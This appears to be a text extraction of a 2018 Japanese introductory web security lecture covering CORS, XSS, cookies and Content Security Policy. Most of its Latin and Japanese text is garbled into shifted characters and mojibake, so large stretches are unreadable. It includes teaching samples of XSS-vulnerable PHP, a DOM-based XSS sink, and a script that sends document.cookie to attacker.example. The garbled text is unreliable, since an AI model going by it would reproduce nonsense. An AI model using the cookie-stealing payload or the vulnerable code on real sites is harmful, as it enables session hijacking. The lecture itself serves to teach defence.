
    CFYBNQMFDPN )5510,
 "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN "DDFTT$POUSPM"MMPX.FUIPE(&5 1045
 "DDFTT$POUSPM"MMPX)FBEFST93&2)&"%&3 "DDFTT$POUSPM&YQPTF)FBEFST93&4)&"%&3
 "DDFTT$POUSPM.BY"HF ‣ $SPTT0SJHJOͳࢀর͕ڐՄ͞Ε͍ͯΔ0SJHJOͱ ࢖༻ͯ͠ྑ͍ϝιου  ૹͬͯྑ͍ϔομ ΞΫηεՄೳͳϔομ ༗ޮظݶͳͲͷ෇Ճ৘ใ͕ฦͬ ͯ͘Δ

  45. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ
 3FRVFTU 45 BFYBNQMFDPN

    CFYBNQMFDPN 1045KTPO)551
 0SJHJOIUUQBFYBNQMFDPN 93&2)&"%&340.&7"-6& ‣ ϓϦϑϥΠτϦΫΤετͰॴ๬ͷϦΫΤετ΁ͷڐՄ͕͓ΓͨͷͰ ࣮ࡍ ʹൃߦ͞ΕΔ

  46. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ
 3FTQPOTF 46 BFYBNQMFDPN

    CFYBNQMFDPN )5510,
 "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN 93&4)&"%&340.&3&563/ ‣ $SPTT0SJHJOͰ΋ΞΫηεՄೳͳϦιʔε ϘσΟͱ93&4)&"%&3ϔο μ ͕ฦ٫͞ΕΔ

  47. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ൃలෆద੾ͳ$034ར༻ྫ
 ࢓ํͳ͍ͱ͖΋͋Δ͚ΕͲʜ 47 Access-Control-Allow-Origin:

    * Access-Control-Allow-Origin: http://example.com ‣  ΞελϦεΫ Ͱ0SJHJOΛࢦఆ͢Δͷ͸ศར͕ͩ ඇTUBUJDͳ ΋ͷʹ·Ͱ෇͚ͯ͠·͏ͱ ηΩϡϦςΟ্ͷ໰୊ʹͳΓ͏Δ ‣ FH$43'5PLFO΍ݸਓ৘ใͷಡΈग़͠ ‣ 0SJHJOΛߜͬͯ΋ ͜ΕΛղऍ͢Δͷ͸͋͘·Ͱϒϥ΢βͰ͋Δ ‣ ѱҙͷ͋Δਓ͕ؒ0SJHJOΛվมͯ͠ϦΫΤετΛൃߦͰ͖Δ ‣ $034͸ΞΫηεݖݶͷ؅ཧͰ͸ͳ͍ػີ৘ใΛஔ͔ͳ͍

  48. &YFSDJTF
 0SJHJOؔ࿈ͷηΩϡϦςΟ
 ػߏΛ࣮ײ͠Α͏

  49. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF$034
 4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏ 49 ࣍ʹΞΫηεͯ͠ମײ͠Α͏

    ԋशωοτϫʔΫ্Ͱ  IUUQXFCTFDFYBNQMFTPQ ‣ ϖʔδԼ෦ʹ$034ؔ࿈ͷσϞ͕͋Γ·͢ ‣ ઌఔ·Ͱ401Φϯͷͱ͖ʹϒϩοΫ͞Ε͍ͯͨ$SPTT0SJHJOͷ ௨৴͕ $034ʹΑΓ؇࿨͞Εͯ௨͍ͬͯΔ ‣ ϓϦϑϥΠτϦΫΤετ͕ඈͿ༷ࢠ΋ %FWFMPQFS5PPMTͷ /FUXPSLλϒ͔ΒݟͯΈ·͠ΐ͏

  50. $SPTT4JUF4DSJQUJOH 944ͷݪཧ ࣮ફ ରࡦ

  51. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ͦͷલʹηογϣϯ
 Α͘ݟΔ1)14&44*%౳ͷ΍͍ͬͯΔ͜ͱ ‣ )551͸جຊతʹεςʔτϨε

    TUBUFMFTT ͳϓϩτίϧ ‣ εςʔτΛอଘ͢ΔͨΊʹΑ͘࢖ΘΕΔͷ͕ηογϣϯ ‣ ΫϥΠΞϯτଆͰ͸$PPLJF΍(&5ύϥϝʔλ ޙऀ͸ආ͚Δ΂͖ ʹ αʔ όʔଆ͔Βड͚औͬͨηογϣϯ*%ͱݺ͹ΕΔ΋ͷΛอଘ͓͖ͯ͠  ‣ αʔόʔଆͰ͸ͦͷηογϣϯ*%ʹඥ͚ͮͯ ඞཁͳσʔλΛه࿥͓ͯ͘͠ ‣ ࣮༻ྫ ‣ FHϢʔβʔػೳ͕͋Δ৔߹ ຖϦΫΤετͰ*%ύεϫʔυΛૹΓ͚ͭΔͷ ͸φϯηϯεʜϩάΠϯ࣌ʹηογϣϯʹ৘ใΛඥ͚͓ͮͯ͘ ‣ ηογϣϯ*%͕౪·ΕΔͱ  ‣ ηογϣϯʹඥ෇͍ͨ৘ใΛ౪Ί͍ͯΔͷͱ ΄΅ ಉ͡ 51

  52. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $SPTT4JUF4DSJQUJOH 944 BUUBDLTBSFB UZQFPGJOKFDUJPO

    JOXIJDINBMJDJPVTTDSJQUT BSFJOKFDUFEJOUPPUIFSXJTFCFOJHOBOE USVTUFEXFCTJUFT IUUQTXXXPXBTQPSHJOEFYQIQ$SPTTTJUF@4DSJQUJOH@ 944  l 944֓ཁ
 $SPTT4JUF4DSJQUJOHͱ͸ҰମԿ͔ 52

  53. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ݪཧ
 944͸͍͔ʹͯ͠ى͜Δ͔ ‣ ίϯςΩετʹݟ߹ͬͨΤεέʔϓ͕ͳ͞Εͳ͍··

    Ͳ͔͔͜Β ೖྗ͞Εͨจࣈྻ͕ग़ྗ͞ΕΔ͜ͱʹΑΓى͜Δ 53 <form> <input type="text" name="q" value="<?= $_GET["q"] ?>"> <input type="submit" value="search"> </form> <p><?php echo $_GET["q"]; ?> ͷݕࡧ݁Ռ </p> <!-- ... -->

  54. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944Өڹ
 0SJHJOͱ͍͏؍఺͔Βݟͨ944 ‣ 4BNF0SJHJO1PMJDZʹΑΓ

    ͋Δ0SJHJO͸ ͦͷ֎෦ͷ0SJHJO ͔Β͸σʔλ͕ୣऔ͞Εͳ͍ ˞ྫ֎͸͋Δ ɻ ‣ 944͸ͦͷ0SJHJOͷ಺෦ʹ৵ೖ͢Δ߈ܸ ͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ 54 Origin A εΫϦϓτૠೖ

  55. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 3FqFDUFE944
 944ͷ෼ྨ 55 ࢦఆͨ͠ϦΫΤετΛඪత͕ൃߦ͢ΔΑ͏༠ಋ


    FHIUUQFYBNQMFDPN TFBSDITDSJQUBMFSU  TDSJQU ඪత͕༠ಋ͞ΕͯϦΫΤετΛൃߦ Ԛછࡁίϯςϯπͷฦ٫
 FHITDSJQUBMFSU  TDSJQUͰͷݕࡧ݁ՌI

  56. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 4UPSFE944
 944ͷ෼ྨ 56 ѱҙͷ͋ΔεΫϦϓτΛೖྗ஋ͱͯ͠஫ೖ


    FHϒϩάͷίϝϯτͱͯ͠TDSJQUBMFSU  TDSJQUΛૹ৴ อଘ อଘ ΞΫηε Ԛછࡁίϯςϯπͷฦ٫

  57. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %0.
 %PDVNFOU0CKFDU.PEFM ‣ )5.-

    ΍9.- ͷߏ ଄ʹΞΫηε͢ΔͨΊ ͷ࿮૊ ‣ จষߏ଄Λ5SFFܗͷ Ϟσϧͱͯ࣋ͭ͠ ‣ 8)"58(ʹΑΔఆٛ
 IUUQTEPNTQFDXIBUXHPSH 57 <section> <body> <header> <main> <h2> <section> <p> <h2> <p>

  58. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %0.#BTFE944
 944ͷ෼ྨ 58 document.getElementById("query").innerHTML

    = '<p>'+decodeURI(location.hash.substring(1))+'</p>'; ‣ %0.ૢ࡞ʹΑͬͯҾ͖ى͜͞ΕΔ944Λ%0.#BTFE944ͱݺͿ ‣ ଞͷ944छ͸֓ͶUBJOUFEͳίʔυ͕ฦͬͯ͘Δͷʹର͠  %0.#BTFE944Ͱ͸UBJOUFEͰͳ͍ίʔυ͕ฦͬͯ͘Δ৔߹΋͋ Δ

  59. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ͍͔ʹͯ͠৵ೖ͢Δ͔
 $PPLJFΛ౪Ήͱ͍͏͜ͱ 59 ‣

    EPDVNFOUDPPLJF͕౪·ΕΔͱͲ͏ͳΔ͔ ‣ ηογϣϯ؅ཧʹ͸͠͹͠͹$PPLJF͕࢖ΘΕΔ 㲎)551͸εςʔτϨε  ‣ ηογϣϯ͕౪·ΕΔ͜ͱ͸  JE QBTTXPSE ͕౪·ΕΔ͜ͱʹ͍ۙ ‣ ΋ͪΖΜݫີʹ͸ҰॹͰ͸ͳ͍͕ ‣ ߈ܸऀ͸౪Μͩ$PPLJFΛ࢖ͬͯ ߈ܸର৅ͷηογϣϯΛୣ͑Δ <script>
 document.location = '//attacker.example/?' + document.cookie; 
 </script>

  60. &YFSDJTF
 944ͷݪཧΛཧղ͠Α͏

  61. &YFSDJTF
 $PPLJFΛୣऔͯ͠ΈΑ͏

  62. &YFSDJTF
 944$IBMMFOHF

  63. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944$IBMMFOHF!0LBZBNB
 ·͔ͣΜͨΜͳറΓ෇͖944ʹ௅ઓͯ͠ΈΑ͏ ͜Ε͸ԼهϦϯΫ͔ΒΦϯϥΠϯͰ௅ઓՄೳͰ͢ IUUQTYTTTIJGUKTJOGP

    63

  64. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ൃల
 944ؔ࿈ٕज़ͷைྲྀ 64 ೥͝Ζ

    ೥͝Ζ ೥͝Ζ ೥͝Ζ 944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ
 $SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTFͳͲ
 %0.#BTFE944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ
 IUUQXXXXFCBQQTFDPSHQSPKFDUTBSUJDMFTTIUNM … 4DSJQUMFTT"UUBDLͱ͍͏֓೦͕ग़ݱ͢Δ
 )FJEFSJDIFUBM IUUQTXXXOETSVCEFNFEJBFNNB WFSPF⒎FOUMJDIVOHFOTDSJQUMFTT"UUBDLTDDTQEG 4DSJQU(BEHFUTͱ͍͏ݴ༿͕ग़ݱ͢Δ
 -FJLJFTFUBM IUUQTHJUIVCDPNHPPHMFTFDVSJUZSFTFBSDIQPDT USFFNBTUFSTDSJQUHBEHFUT

  65. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ରࡦ
 ͍͔ʹͯ͠कΔ͔ 65 ࣮૷

    w σʔλͷྲྀΕɾจ຺ʹԠͨ͡Τεέʔϓॲཧ ݕࠪ w े෼ͳηΩϡϦςΟςετ w े෼ͩͱࢥ͏੍໿΋ Ҋ֎ෆे෼͔΋  w ෆద੾ͳ࣮૷ %PVCMF&ODPEJOH FUD ͸  ͠͹͠͹࣮૷͔Βݟ͑ʹ͍͘ ༧๷ w $POUFOU4FDVSJUZ1PMJDZͷઃఆ౳ w ࣮ߦ͞Εͯ΋ඃ֐Λ཈͑ΒΕΔΑ͏ʹ

  66. 'VUVSF
 8FCʹ͓͚Δ
 ηΩϡϦςΟڥքͷ
 ՝୊ͱະདྷ

  67. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊ෆଗ͍ͳڥքͨͪ
 $PPLJFͷ΋ͭྺ࢙తܦҢ 67 ‣

    $PPLJF͸0SJHJOϥΠΫͳผͷઢҾج४Λ࣋ͭ ‣ FHQBUI΋ߟྀ͞ΕΔ ‣ FH਌υϝΠϯʹ$PPLJFΛઃఆͨ͠ΓͰ͖Δ ‣ $PPLJFͷొ৔͸401౳ͷొ৔ΑΓલͩͬͨͨΊ ‣ $PPLJF͕౪·Ε͏Δঢ়گͰ͸ ηογϣϯΛ౪·ΕΔ͏Δ ‣ εςʔτϨεͳ)551ʹͱͬͯ ͜Ε͸க໋తͳ͜ͱ ‣ ʮ͍͔ʹͯ͠$PPLJFΛकΔ͔ ʯͱ͍͏ͷ͸ॏཁͳ૪఺Ͱ͋Δ

  68. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ$PPLJF
 $PPLJFΛ͍͔ʹͯ͠कΔ͔ͷྫ ‣ 4FDVSF$PPLJF

    IUUQTUPPMTJFUGPSHIUNMSGDIUNM  ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ )5514Λ༻͍ͨ௨৴ͰͷΈૹ৴͞ΕΔ ‣ )UUQ0OMZ$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM  ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ EPDVNFOUDPPLJF͔ΒΞΫηεͰ͖ͳ͍ ‣ 4BNFTJUF$PPLJF IUUQTUPPMTJFUGPSHIUNMESBGUXFTUpSTUQBSUZDPPLJFT  ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ ΫϩεαΠτͳϦΫΤετͷࡍʹ $PPLJFૹ৴͕ ੍ݶ͞ΕΔ ‣ ηοτ͞ΕΔ஋ MBY͔TUSJDU ʹԠͯ͡ڍಈ͕ҟͳΔͷͰ஫ҙ 68

  69. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊0SJHJO
 ྺ࢙తʹ੾Γ෼͚ΒΕͳ͍0SJHJOୡ ·ͨઃఆͷ೉͠͞ ‣

    ྺ࢙తܦҢ͔Β੾Γ෼͚ΒΕ͍ͯͳ͍0SJHJO΋ଘࡏ͢Δ ‣ ྫIUUQTXXXHPPHMFDPNNBQTͱIUUQTXXXHPPHMFDPN ‣ 0SJHJOͷ෼ׂʹΑΓ 401΍$034ͳͲͷԸܙΛड͚ΒΕΔ ‣ ͍͔ʹͯ͠ޙํޓ׵ੑΛอͪͭͭ΋ ΑΓ҆શͳੈքΛ࡞Δ͔  ‣ ͖Ε͍ʹ੾Γ෼͚ΒΕ͍ͯͯ΋໰୊͸͋Δ ‣ جຊతʹݱঢ়ͷηΩϡϦςΟϙϦγʔ $41 $034 )454 )1,1  3FGFSSFS1PMJDZ  ͸ ϦΫΤετ͝ͱʹ෇༩͢Δඞཁ͕͋Δ͕ʜ ‣ ௨৴ճ਺ͷ૿େ $0341SFqJHIU3FRVFTUͳͲ  ‣ ϔομαΠζͷ૿େ ‣ ઃఆ΋ΕͷՄೳੑ 69

  70. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ0SJHJO
 0SJHJOΛ͍͔ʹ֦ͯ͠ு͢Δ͔ ‣ 4VCPSJHJOT

    IUUQTXDHJUIVCJPXFCBQQTFDTVCPSJHJOT  ‣ ͋ΔҰͭͷ0SJHJOΛ ΑΓࡉ͔͘෼ྨ͢ΔͨΊͷ࢓༷ ‣ 4VCPSJHJOϔομʹΑΓOBNFTQBDFͱݺ͹ΕΔ΋ͷΛ഑৴ ‣ TDIFNF IPTU QPSU OBNFTQBDF Λ4VCPSJHJOͱ͠ ࣮༻্͸͜ΕΛγ ϦΞϥΠζͨ͠΋ͷΛ0SJHJOͱ͢Δ ‣ 0SJHJO1PMJDZ IUUQTXJDHHJUIVCJPPSJHJOQPMJDZ  ‣ 4FD0SJHJO1PMJDZϔομʹΑΓ͋Γ͔͕஌Β͞ΕΔ0SJHJO.BOJGFTUͱݺ ͹ΕΔ+40/ܗࣜͷ΋ͷΛ࢖ͬͯ 0SJHJOશମʹରͯ͠ ηΩϡϦςΟϧʔ ϧΛ഑৴ $41 )454 )1,1   ‣ 4JUF8JEF)551)FBEFSTͷΑ͏ͳྨࣅϓϩϙʔβϧ΋͋Δ 70

  71. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊8FC"1*
 ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢β ‣ ϒϥ΢βʹࡌ͍ͬͯΔػೳ͸༷ʑ

    ‣ 7JCSBUJPO (FPMPDBUJPO $BNFSB .JDSPQIPOF  ‣ ػೳ͕૿͑Δͨͼʹ ηΩϡϦςΟϦεΫ΋૿େ͢Δ ‣ ͻͱͨͼ᠘αΠτΛ౿ΜͰ͠·ͬͨΒ  ‣ 944ʹΑΓਖ਼نαΠτʹ߈ܸऀ͕ѱҙ͋ΔεΫϦϓτΛຒΊࠐΜͩΒ  ‣ ͜Ε͸୭ͷ͍ͤ  ‣ $41΍JGSBNFࣗମʹ΋TBOECPYػߏ͸͋Δ΋ͷͷ ෆे෼ ‣ શίϯςΩετʹҰ؏ੑΛอͬͨঢ়ଶͰ੍ݶΛՃ͑Δ͜ͱ͕೉͍͠ ‣ ௨ৗEJTBCMF͞Ε͍ͯΔػೳΛ໌ࣔతʹFOBCMF͢Δػೳ͕ͳ͍ 71

  72. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ8FC"1*
 ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢βΛ ͍͔ʹͯ͠कΔ͔ ‣

    'FBUVSF1PMJDZ IUUQTXJDHHJUIVCJPGFBUVSFQPMJDZ  ‣ )551ϔομΛ௨ͯ͠ ϒϥ΢βػೳΛ໌ࣔతʹ༗ޮԽɾແޮԽ͢ΔͨΊͷ ηΩϡϦςΟϙϦγʔ ‣ 0SJHJOผ ػೳผʹهड़Մೳ ‣ 'FBUVSF1PMJDZϔομΛ࢖༻ 72 // from https://wicg.github.io/feature-policy/#examples Feature-Policy: vibrate 'none'; geolocation 'none' Feature-Policy: geolocation 'self' https://example.com

  73. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊։ൃऀͱͷڠௐ
 ࢖͍΍͘͢ ཧղ͠΍͘͢ ͔ͭ҆શΛ΋ͨΒͤΔڥքΛ

    ‣ ཧ૝ͱݱ࣮ͷࠩ͸͋Δ ‣ ࣮ӡ༻Ͱ͸ ͠͹͠͹ޡͬͨPSແྗͳ$41͕ઃఆ͞Ε͍ͯΔ ‣ ࢀߟ8FJDITFMCBVNFUBMͷ$41JTEFBE MPOHMJWF$410OUIF JOTFDVSJUZPGXIJUFMJTUTBOEUIFGVUVSFPGDPOUFOUTFDVSJUZQPMJDZ ‣ ৽͍͠ϒϥ΢βଆηΩϡϦςΟϙϦγʔΛ࡞੒ɾಋೖ͠Α͏ͱͯ͠΋ ޙํ ޓ׵ੑͷରԠ͕େม ‣ FH$41ͷTUSJDUEZOBNJDʜجຊతʹ͸XIJUFMJTUCBTFEͳϧʔϧͱ ซ༻Ͱ͖ͳ͍͕ ॻ͔ͳ͍ͱTUSJDUEZOBNJDඇରԠϒϥ΢βͰ$41͕ ແྗʹͳͬͯ͠·͏ ͱ͍ͬͨ໰୊ ‣ ޙํޓ׵ੑ લํޓ׵ੑΛҙࣝͨ͠ൃల͕ཁ੥͞Ε͍ͯΔ 73

  74. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ 5IF5BOHMFE8FC"(VJEFUP4FDVSJOH.PEFSO8FC

    "QQMJDBUJPOT ‣ ๜༁൛ΊΜͲ͏͍͘͞8FCηΩϡϦςΟ ‣ ͲͪΒ΋ଟ͘ͷΤοδέʔε΍ྺֶ࢙΂Δຊ ‣ 5IF#SPXTFS)BDLFST)BOECPPL ‣ ๜༁൛ϒϥ΢βϋοΫ ‣ ͍͔ʹ߈ܸ͢Δ͔ʹϑΥʔΧεΛ౰ֶͯͭͭ΂Δ ໘ന͍ຊ ‣ )PXUIF8FC5BOHMFE*UTFMG6ODPWFSJOHUIF)JTUPSZPG $MJFOU4JEF8FC *O 4FDVSJUZ ‣ IUUQTQVCMJDBUJPOTDJTQBTBBSMBOEBSDIJWFPSHpOBMQEG ‣ ྺ࢙Λަ͑ͯͬ͘͟Γͱ͜Ε·Ͱͷைྲྀ΍ݱঢ়Λ೺Ѳ͢Δͷʹ͸ྑ͍ 74

  75. $PODMVTJPO ຊ೔ͷ·ͱΊ

  76. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0VUMJOF ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ ‣

    ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢ ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 
 0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢ ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢ ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢ 76

  77. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ (PBMT ࠶ܝ 
 ຊߨٛͰ໨ࢦ͢ͱ͜Ζͷ࠶֬ೝ

    ‣ ֶͼ͍ͨ͜ͱ ‣ 8FC4FDVSJUZCZ%FTJHOઃܭஈ֊͔Βͷ8FCηΩϡϦςΟ ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ ‣ Ͱ͖ͨΒ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػ ߏʹؔ͢Δ࿩ ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠ ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠ 77

  78. "OZ2VFTUJPOT  5BLBTIJ:POFVDIJ KB!MNU@TXBMMPX FO!ZOVDIZ IUUQTTIJGUKTJOGP

  79. "QQFOEJY"
 944ͷεεϝ

  80. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣮ࣾձͰͷ944
 ੍໿ͱͷઓ͍ ‣ ૉ௚Ͱ͸ͳ͍γνϡΤʔγϣϯͰͷ944͸͠͹͠͹ݟ͔ͭΔ

    ‣ FH͋Δจࣈ͕࢖͑ͳ͍ ‣ FH$41ʹΑΓಛఆ৚݅ԼͰ͔͠εΫϦϓτ͕ಈ͔ͤͳ͍ ‣ FH͋Δϒϥ΢βػೳΛ࢖Θͳ͍ͱಈ͔ͳ͍ ‣ ʮཧ࿦্ ո͍͠ڍಈ͸શ෦௵ͤ͹Α͍ͷͰ͸ ʯ ‣ ͓͕ۚབྷΉͱͦΕ͸೉͍͠ ‣ ࣮ࡍʹةݥੑ͕͋Δͱݴͬͯ΋ ߈ܸ͕௨Βͳ͍ͳΒ ϓϥΠΦϦςΟ͸௿͍ ‣ આಘྗΛ࣋ͬͨใࠂͷͨΊʹ͸ ࣮ࡍʹڴҖͨΓ͏Δ߈ܸܦ࿏Λఏࣔ͢Δ 1P$Λఏࣔ͢Δ ͜ͱ͕ Ұ൪ڹ͘ ͱ๻͸ࢥ͍ͬͯΔ  ‣ ୳͢ͷʹ΋͕͔͔࣌ؒΔͷͰ ΋ͪΖΜόϥϯε͸େࣄ 80

  81. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ޿͕Δ944$IBMMFOHF
 944$IBMMFOHFʹ௅ઓͯ͠ΈΑ͏ ‣ 3FTFBSDIFSୡ͔Β೔ʑ৽944$IBMMFOHFωλ͕ग़͍ͯΔ

    ‣ τϨϯυ΍࠷৽࢓༷Λ௥͏ͨΊʹ͘͢͝໾ʹཱͭ ‣ ݸਓతͳ͓͢͢Ίͷ944$IBMMFOHF͸Լه ‣ 944HBNFCZ(PPHMF
 IUUQTYTTHBNFBQQTQPUDPN ‣ 9441PMZHMPU$IBMMFOHFCZ!pMFEFTDSJQUPS
 IUUQTQPMZHMPUJOOFSIUNM ‣ 944$IBMMFOHFTCZ$VSF
 IUUQTHJUIVCDPNDVSF944$IBMMFOHF8JLJXJLJ 81

  82. "QQFOEJY#
 $41$POUFOU 4FDVSJUZ1PMJDZ

  83. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $POUFOU4FDVSJUZ1PMJDZ
 $41ͱ͸ҰମԿ͔ ‣ $POUFOU4FDVSJUZ1PMJDZ

    $41 ͱ͸ 944΍ͦͷଞσʔλΠϯ δΣΫγϣϯܥͷ߈ܸ͔ΒकΔͨΊͷ ௥Ճ๷ޚϨΠϠ ‣ ͬ͘͟Γݴ͏ͱ ֎෦Ϧιʔε +4 JNH GPOU FUD ͷಡΈग़͠ݩ ͷ੍ݶ΍ ͦͷଞͷηΩϡϦςΟػߏͷ ؆୯ͳ ੍ޚʹ࢖͑Δ 83 2010 'JSTU1SPQPTFE 2012 2016 8$$3 $41 8$3&$ $41-W 2018 8$8% $41-W

  84. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣮ྫ
 ࣮ੈքʹ͓͚Δ$POUFOU4FDVSJUZ1PMJDZͷ࢖༻ྫ ‣ Ϟμϯͳେख8FCαʔϏε

    ‣ (JU)VC ‣ 5XJUUFS ‣ 'BDFCPPL ‣ FUD ‣ 8FCαʔϏεҎ֎ͷ҆શੑ Λ୲อ͢΂͖ͱ͜Ζ ‣ $ISPNF&YUFOTJPO ‣ 'JSFGPY"EEPO ‣ FUD 84 l *OPSEFSUPNJUJHBUFBMBSHFDMBTT PGQPUFOUJBMDSPTTTJUFTDSJQUJOH JTTVFT $ISPNFTFYUFOTJPO TZTUFNIBTJODPSQPSBUFEUIF HFOFSBMDPODFQUPG$POUFOU 4FDVSJUZ1PMJDZ $41 
 IUUQTEFWFMPQFSDISPNFDPNFYUFOTJPOT DPOUFOU4FDVSJUZ1PMJDZ

  85. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $41ͷ࢖͍ํ
 ϔομPSNFUB ‣ $41ͷઃఆํ๏͸௨Γ͋Δ

    ‣ )551Ϩεϙϯεϔομதʹهड़͢Δ ‣ )5.-தͰNFUBλάΛ༻͍ͯهड़͢Δ ‣ 4QFDJpDBUJPOTΛಡΉͱશ͕ͯॻ͍ͯ͋Δ ‣ IUUQTXXXXPSH53$41 85 Content-Security-Policy: default-src 'self' <meta http-equiv="Content-Security-Policy" content="default-src 'self'">

  86. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $41ͷࠓޙ
 $41ʹ޲͚ͯ ‣ ଟ͘ͷ৽ػೳ΍վળ͕ଓ͍͍ͯΔ

    ‣ 'FUDIͷ࢓༷ʹ߹Θͤͨ࠶هड़ ‣ 3FQPSUJOH"1*ͱͷ౷߹ ‣ OBWJHBUFUPͳͲͷ৽EJSFDUJWF ‣ ͳͲͳͲʜ ‣ ࠷৽ͷٞ࿦Λ௥ͬͯΈΑ͏ ‣ IUUQTHJUIVCDPNXD XFCBQQTFDDTQJTTVFT 86

  87. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF$41
